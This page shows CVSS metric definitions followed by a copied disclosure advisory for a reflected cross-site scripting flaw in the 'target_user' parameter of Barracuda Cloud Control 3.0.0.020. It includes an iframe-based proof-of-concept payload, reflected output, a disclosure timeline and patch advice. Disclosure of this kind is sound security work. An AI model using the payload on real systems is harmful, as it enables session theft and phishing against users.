The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Barracuda Cloud Control 3.020 Cross Site Scripting
Document Title:
===============
Barracuda Cloud Control v3.020 - CS Cross Site Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=662
Release Date:
=============
2018-07-18
Vulnerability Laboratory ID (VL-ID):
====================================
662
Common Vulnerability Scoring System:
====================================
3.3
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500a! - 1.000a!
Product & Service Introduction:
===============================
The Barracuda Control Center is a comprehensive cloud-based service that
enables administrators to
monitor and configure multiple Barracuda Networks products from a single
console. With the
Barracuda Control Center, you can check the health of all connected
devices, run reports that are
generated by gathering data from all the devices, and assign roles with
varied permissions to different
types of users. The powerful Web interface of the Barracuda Control
Center provides for convenient
configuration and management of multiple Barracuda Networks device
settings, while also providing a view
of each device Web interface for individual configuration or reporting.
No need to install software or
deploy hardware. Key statistics can be viewed by device type at a glance
on the Status page of the Web
interface with the ability to drill down for more detail into the
individual Web interface for each connected device.
(Copy of the Vendor Homepage:
https://www.barracudanetworks.com/ns/downloads/Setup_Guides/Barracuda_Cloud_Control_SG_US.pdf)
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side
Cross Site Scripting Vulnerability in the official Barracuda Networks
Cloud Control Center v3.0.0.020 appliance web-application.
Vulnerability Disclosure Timeline:
==================================
2018-07-18: Non-Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Barracuda Networks
Product: Cloud Control Center 3.0.0.020
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
No authentication (guest)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Bug Bounty Program
Technical Details & Description:
================================
A cross site vulnerability has been discovered in the official Barracuda
Networks Cloud Control Center v3.0.0.020 appliance web-application.
The cross site vulnerability allows remote attackers to inject own
malicious script codes to client-side browser to application requests.
The cross site vulnerability is located in the `target_user` parameter
of the `Benutzer bearbeiten (Benutzerspezifische Bayessche Daten)`
module. Remote attackers are able to inject client-side script codes to
the index.cgi GET method request. The application does not encode
the script code and displays the insecure message context as output.
Thus finally results in the client-side script code execution in the
appliance web-application. The attacker vector of the bug is client-side
and the request method to inject is GET.
The security risk of the non-persistent cross site vulnerability is
estimated as medium with a cvss (common vulnerability scoring system)
count of 3.3.
Exploitation of the client-side cross site vulnerability requires no
privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in in account
theft, client-side phishing, client-side external redirects to malicious
source
and client-side manipulation of affected or connected module context.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Benutzer bearbeiten - Benutzerspezifische Bayessche Daten
Vulnerable Parameter(s):
[+] target_user
Affected Module(s):
[+] index.cgi
Proof of Concept (PoC):
=======================
The non persistent cross site scripting vulnerability can be exploited
by remote attackers with medium or high required user inter action.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Standard: Example
https://bcc.127.0.0.1:1336/cgi-mod/index.cgi?password=befc663e87db8e886c5d8afe5f73cc3e&et=1342741957&
primary_tab=BASIC&new_secondary_tab=user_management&auth_type=Local&nodeid=13633&locale=de_DE&
secondary_tab=edit_user&page_submitted=550a4ef30b4d0aa5d5435c2f09b3c09c&content_only=1&target_user=
benny%40barracuda.com&tree_name=devices&tree_filter=bccadmin&user=
benny%40barracuda.com&ispopup=1&parent_name=user_management&popup_width=800&popup_height=500
PoC: Exploitation
<html>
<head><body>
<title>Barracuda Cloud Control v3.020 - Cross Site Scripting PoC</title>
<iframe
src=https://bcc.127.0.0.1:1336/cgi-mod/index.cgi?password=befc663e87db8e886c5d8afe5f73cc3e&et=1342741957&
primary_tab=BASIC&new_secondary_tab=user_management&auth_type=Local&nodeid=13633&locale=de_DE&
secondary_tab=edit_user&page_submitted=550a4ef30b4d0aa5d5435c2f09b3c09c&content_only=1&target_user=
1337benny%40barracuda.com"><iframe src=http://www.vulnerability-lab.com
onload=alert("VulnerabilityLab") <
&tree_name=devices&tree_filter=bccadmin&user=benny%40barracuda.com&ispopup=1&parent_name=
user_management&popup_width=800&popup_height=500></iframe>
</body></head>
<html>
PoC: INDEX.CGI - Mail Listing (Output) (Benutzer bearbeiten >
Benutzerspezifische Bayessche Daten) [target_user]
<tr class="config_module_tr" id="config_module_row_1">
<td valign="top" width="15"> </td>
<td valign="top" width="150">Benutzerspezifische Bayessche Daten:</td>
<td valign="top" width="310">[email protected]"><[EXECUTION OF
CLIENT SIDE SCRIPT CODE!])' <<="" td="">
<td valign="top"> </td>
</tr>
Reference(s):
https://bcc.127.0.0.1:1336/
https://bcc.127.0.0.1:1336/cgi-mod/
https://bcc.127.0.0.1:1336/cgi-mod/index.cgi
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the
vulnerable index.cgi file.
Restrict the input of the vulnerable marked values and disallow the
usage of special chars.
Use entities and filter all inputs with an exception-handling to prevent
client-side exploitation.
Note: The issue was reported in 2016 Q4 to the barracuda networks
developer team. The issue was finally resolved in 2017 Q3 - Q4.
The disclosure process took about 8month to complete by recognizing the
patch cycle.
Security Risk:
==============
The security risk of the non-persistent cross site scripting
vulnerability in the target_user value parameter is estimated as medium.
Credits & Authors:
==================
Benjamin Kunz Mejri (Vulnerability Lab) [[email protected]]
- https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Disclaimer & Information:
=========================
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